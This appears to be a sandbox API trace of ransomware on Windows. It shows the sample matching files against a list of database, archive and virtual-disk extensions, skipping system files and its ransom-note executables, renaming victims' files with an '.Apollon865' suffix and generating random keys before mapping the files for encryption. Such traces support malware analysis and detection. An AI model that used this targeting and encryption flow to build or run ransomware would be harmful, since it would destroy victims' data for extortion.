	[0063.012] lstrlenW (lpString="btr") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0063.012] lstrlenW (lpString="cat") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0063.012] lstrlenW (lpString="cdb") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0063.013] lstrlenW (lpString="ckp") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0063.013] lstrlenW (lpString="cma") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0063.013] lstrlenW (lpString="cpd") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0063.013] lstrlenW (lpString="dacpac") returned 6
	[0063.013] lstrcmpiW (lpString1="eed-ms", lpString2="dacpac") returned 1
	[0063.013] lstrlenW (lpString="dad") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0063.013] lstrlenW (lpString="dadiagrams") returned 10
	[0063.013] lstrcmpiW (lpString1="k~.feed-ms", lpString2="dadiagrams") returned 1
	[0063.013] lstrlenW (lpString="daschema") returned 8
	[0063.013] lstrcmpiW (lpString1=".feed-ms", lpString2="daschema") returned -1
	[0063.013] lstrlenW (lpString="db-journal") returned 10
	[0063.013] lstrcmpiW (lpString1="k~.feed-ms", lpString2="db-journal") returned 1
	[0063.013] lstrlenW (lpString="db-shm") returned 6
	[0063.013] lstrcmpiW (lpString1="eed-ms", lpString2="db-shm") returned 1
	[0063.013] lstrlenW (lpString="db-wal") returned 6
	[0063.013] lstrcmpiW (lpString1="eed-ms", lpString2="db-wal") returned 1
	[0063.013] lstrlenW (lpString="dbc") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0063.013] lstrlenW (lpString="dbs") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0063.013] lstrlenW (lpString="dbt") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0063.013] lstrlenW (lpString="dbv") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0063.013] lstrlenW (lpString="dbx") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0063.013] lstrlenW (lpString="dcb") returned 3
	[0063.013] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0063.013] lstrlenW (lpString="dct") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0063.014] lstrlenW (lpString="dcx") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0063.014] lstrlenW (lpString="ddl") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0063.014] lstrlenW (lpString="dlis") returned 4
	[0063.014] lstrcmpiW (lpString1="d-ms", lpString2="dlis") returned 1
	[0063.014] lstrlenW (lpString="dp1") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0063.014] lstrlenW (lpString="dqy") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0063.014] lstrlenW (lpString="dsk") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0063.014] lstrlenW (lpString="dsn") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0063.014] lstrlenW (lpString="dtsx") returned 4
	[0063.014] lstrcmpiW (lpString1="d-ms", lpString2="dtsx") returned -1
	[0063.014] lstrlenW (lpString="dxl") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0063.014] lstrlenW (lpString="eco") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0063.014] lstrlenW (lpString="ecx") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0063.014] lstrlenW (lpString="edb") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0063.014] lstrlenW (lpString="epim") returned 4
	[0063.014] lstrcmpiW (lpString1="d-ms", lpString2="epim") returned -1
	[0063.014] lstrlenW (lpString="fcd") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0063.014] lstrlenW (lpString="fdb") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0063.014] lstrlenW (lpString="fic") returned 3
	[0063.014] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0063.014] lstrlenW (lpString="flexolibrary") returned 12
	[0063.015] lstrcmpiW (lpString1="ork~.feed-ms", lpString2="flexolibrary") returned 1
	[0063.015] lstrlenW (lpString="fm5") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0063.015] lstrlenW (lpString="fmp") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0063.015] lstrlenW (lpString="fmp12") returned 5
	[0063.015] lstrcmpiW (lpString1="ed-ms", lpString2="fmp12") returned -1
	[0063.015] lstrlenW (lpString="fmpsl") returned 5
	[0063.015] lstrcmpiW (lpString1="ed-ms", lpString2="fmpsl") returned -1
	[0063.015] lstrlenW (lpString="fol") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0063.015] lstrlenW (lpString="fp3") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0063.015] lstrlenW (lpString="fp4") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0063.015] lstrlenW (lpString="fp5") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0063.015] lstrlenW (lpString="fp7") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0063.015] lstrlenW (lpString="fpt") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0063.015] lstrlenW (lpString="frm") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0063.015] lstrlenW (lpString="gdb") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0063.015] lstrlenW (lpString="gdb") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0063.015] lstrlenW (lpString="grdb") returned 4
	[0063.015] lstrcmpiW (lpString1="d-ms", lpString2="grdb") returned -1
	[0063.015] lstrlenW (lpString="gwi") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0063.015] lstrlenW (lpString="hdb") returned 3
	[0063.015] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0063.016] lstrlenW (lpString="his") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0063.016] lstrlenW (lpString="ib") returned 2
	[0063.016] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0063.016] lstrlenW (lpString="idb") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0063.016] lstrlenW (lpString="ihx") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0063.016] lstrlenW (lpString="itdb") returned 4
	[0063.016] lstrcmpiW (lpString1="d-ms", lpString2="itdb") returned -1
	[0063.016] lstrlenW (lpString="itw") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0063.016] lstrlenW (lpString="jet") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0063.016] lstrlenW (lpString="jtx") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0063.016] lstrlenW (lpString="kdb") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0063.016] lstrlenW (lpString="kexi") returned 4
	[0063.016] lstrcmpiW (lpString1="d-ms", lpString2="kexi") returned -1
	[0063.016] lstrlenW (lpString="kexic") returned 5
	[0063.016] lstrcmpiW (lpString1="ed-ms", lpString2="kexic") returned -1
	[0063.016] lstrlenW (lpString="kexis") returned 5
	[0063.016] lstrcmpiW (lpString1="ed-ms", lpString2="kexis") returned -1
	[0063.016] lstrlenW (lpString="lgc") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0063.016] lstrlenW (lpString="lwx") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0063.016] lstrlenW (lpString="maf") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0063.016] lstrlenW (lpString="maq") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0063.016] lstrlenW (lpString="mar") returned 3
	[0063.016] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0063.017] lstrlenW (lpString="marshal") returned 7
	[0063.017] lstrcmpiW (lpString1="feed-ms", lpString2="marshal") returned -1
	[0063.017] lstrlenW (lpString="mas") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0063.017] lstrlenW (lpString="mav") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0063.017] lstrlenW (lpString="maw") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0063.017] lstrlenW (lpString="mdbhtml") returned 7
	[0063.017] lstrcmpiW (lpString1="feed-ms", lpString2="mdbhtml") returned -1
	[0063.017] lstrlenW (lpString="mdn") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0063.017] lstrlenW (lpString="mdt") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0063.017] lstrlenW (lpString="mfd") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0063.017] lstrlenW (lpString="mpd") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0063.017] lstrlenW (lpString="mrg") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0063.017] lstrlenW (lpString="mud") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0063.017] lstrlenW (lpString="mwb") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0063.017] lstrlenW (lpString="myd") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0063.017] lstrlenW (lpString="ndf") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0063.017] lstrlenW (lpString="nnt") returned 3
	[0063.017] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0063.017] lstrlenW (lpString="nrmlib") returned 6
	[0063.017] lstrcmpiW (lpString1="eed-ms", lpString2="nrmlib") returned -1
	[0063.017] lstrlenW (lpString="ns2") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0063.018] lstrlenW (lpString="ns3") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0063.018] lstrlenW (lpString="ns4") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0063.018] lstrlenW (lpString="nsf") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0063.018] lstrlenW (lpString="nv") returned 2
	[0063.018] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0063.018] lstrlenW (lpString="nv2") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0063.018] lstrlenW (lpString="nwdb") returned 4
	[0063.018] lstrcmpiW (lpString1="d-ms", lpString2="nwdb") returned -1
	[0063.018] lstrlenW (lpString="nyf") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0063.018] lstrlenW (lpString="odb") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0063.018] lstrlenW (lpString="odb") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0063.018] lstrlenW (lpString="oqy") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0063.018] lstrlenW (lpString="ora") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0063.018] lstrlenW (lpString="orx") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0063.018] lstrlenW (lpString="owc") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0063.018] lstrlenW (lpString="p96") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0063.018] lstrlenW (lpString="p97") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0063.018] lstrlenW (lpString="pan") returned 3
	[0063.018] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0063.018] lstrlenW (lpString="pdb") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0063.019] lstrlenW (lpString="pdm") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0063.019] lstrlenW (lpString="pnz") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0063.019] lstrlenW (lpString="qry") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0063.019] lstrlenW (lpString="qvd") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0063.019] lstrlenW (lpString="rbf") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0063.019] lstrlenW (lpString="rctd") returned 4
	[0063.019] lstrcmpiW (lpString1="d-ms", lpString2="rctd") returned -1
	[0063.019] lstrlenW (lpString="rod") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0063.019] lstrlenW (lpString="rodx") returned 4
	[0063.019] lstrcmpiW (lpString1="d-ms", lpString2="rodx") returned -1
	[0063.019] lstrlenW (lpString="rpd") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0063.019] lstrlenW (lpString="rsd") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0063.019] lstrlenW (lpString="sas7bdat") returned 8
	[0063.019] lstrcmpiW (lpString1=".feed-ms", lpString2="sas7bdat") returned -1
	[0063.019] lstrlenW (lpString="sbf") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0063.019] lstrlenW (lpString="scx") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0063.019] lstrlenW (lpString="sdb") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0063.019] lstrlenW (lpString="sdc") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0063.019] lstrlenW (lpString="sdf") returned 3
	[0063.019] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0063.020] lstrlenW (lpString="sis") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0063.020] lstrlenW (lpString="spq") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0063.020] lstrlenW (lpString="te") returned 2
	[0063.020] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0063.020] lstrlenW (lpString="teacher") returned 7
	[0063.020] lstrcmpiW (lpString1="feed-ms", lpString2="teacher") returned -1
	[0063.020] lstrlenW (lpString="tmd") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0063.020] lstrlenW (lpString="tps") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0063.020] lstrlenW (lpString="trc") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0063.020] lstrlenW (lpString="trc") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0063.020] lstrlenW (lpString="trm") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0063.020] lstrlenW (lpString="udb") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0063.020] lstrlenW (lpString="udl") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0063.020] lstrlenW (lpString="usr") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0063.020] lstrlenW (lpString="v12") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0063.020] lstrlenW (lpString="vis") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0063.020] lstrlenW (lpString="vpd") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0063.020] lstrlenW (lpString="vvv") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0063.020] lstrlenW (lpString="wdb") returned 3
	[0063.020] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0063.021] lstrlenW (lpString="wmdb") returned 4
	[0063.021] lstrcmpiW (lpString1="d-ms", lpString2="wmdb") returned -1
	[0063.021] lstrlenW (lpString="wrk") returned 3
	[0063.021] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0063.021] lstrlenW (lpString="xdb") returned 3
	[0063.021] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0063.021] lstrlenW (lpString="xld") returned 3
	[0063.021] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0063.021] lstrlenW (lpString="xmlff") returned 5
	[0063.021] lstrcmpiW (lpString1="ed-ms", lpString2="xmlff") returned -1
	[0063.021] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.Apollon865") returned 101
	[0063.021] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.apollon865"), dwFlags=0x1) returned 1
	[0063.022] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0063.022] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=28672) returned 1
	[0063.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.022] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.023] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.023] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.023] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7300, lpName=0x0) returned 0x154
	[0063.025] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7300) returned 0x100000
	[0063.027] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.027] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.027] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0063.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0063.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0063.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0063.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.028] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0063.028] CloseHandle (hObject=0x154) returned 1
	[0063.028] CloseHandle (hObject=0x118) returned 1
	[0063.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.029] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".") returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="..") returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="windows") returned -1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="bootmgr") returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="temp") returned -1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="pagefile.sys") returned -1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="boot") returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="ids.txt") returned 1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="ntuser.dat") returned -1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="perflogs") returned -1
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2="MSBuild") returned 1
	[0063.029] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19
	[0063.029] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 90
	[0063.029] lstrcpyW (in: lpString1=0x119e688, lpString2="MSNBC News~.feed-ms" | out: lpString1="MSNBC News~.feed-ms") returned="MSNBC News~.feed-ms"
	[0063.029] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19
	[0063.029] lstrlenW (lpString="Apollon865") returned 10
	[0063.029] lstrcmpiW (lpString1="s~.feed-ms", lpString2="Apollon865") returned 1
	[0063.029] lstrlenW (lpString=".dll") returned 4
	[0063.029] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".dll") returned 1
	[0063.029] lstrlenW (lpString=".lnk") returned 4
	[0063.030] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".lnk") returned 1
	[0063.030] lstrlenW (lpString=".ini") returned 4
	[0063.030] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".ini") returned 1
	[0063.030] lstrlenW (lpString=".sys") returned 4
	[0063.030] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".sys") returned 1
	[0063.030] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19
	[0063.030] lstrlenW (lpString="bak") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0063.030] lstrlenW (lpString="ba_") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0063.030] lstrlenW (lpString="dbb") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0063.030] lstrlenW (lpString="vmdk") returned 4
	[0063.030] lstrcmpiW (lpString1="d-ms", lpString2="vmdk") returned -1
	[0063.030] lstrlenW (lpString="rar") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0063.030] lstrlenW (lpString="zip") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0063.030] lstrlenW (lpString="tgz") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0063.030] lstrlenW (lpString="vbox") returned 4
	[0063.030] lstrcmpiW (lpString1="d-ms", lpString2="vbox") returned -1
	[0063.030] lstrlenW (lpString="vdi") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0063.030] lstrlenW (lpString="vhd") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0063.030] lstrlenW (lpString="vhdx") returned 4
	[0063.030] lstrcmpiW (lpString1="d-ms", lpString2="vhdx") returned -1
	[0063.030] lstrlenW (lpString="avhd") returned 4
	[0063.030] lstrcmpiW (lpString1="d-ms", lpString2="avhd") returned 1
	[0063.030] lstrlenW (lpString="db") returned 2
	[0063.030] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0063.030] lstrlenW (lpString="db2") returned 3
	[0063.030] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0063.031] lstrlenW (lpString="db3") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0063.031] lstrlenW (lpString="dbf") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0063.031] lstrlenW (lpString="mdf") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0063.031] lstrlenW (lpString="mdb") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0063.031] lstrlenW (lpString="sql") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0063.031] lstrlenW (lpString="sqlite") returned 6
	[0063.031] lstrcmpiW (lpString1="eed-ms", lpString2="sqlite") returned -1
	[0063.031] lstrlenW (lpString="sqlite3") returned 7
	[0063.031] lstrcmpiW (lpString1="feed-ms", lpString2="sqlite3") returned -1
	[0063.031] lstrlenW (lpString="sqlitedb") returned 8
	[0063.031] lstrcmpiW (lpString1=".feed-ms", lpString2="sqlitedb") returned -1
	[0063.031] lstrlenW (lpString="xml") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
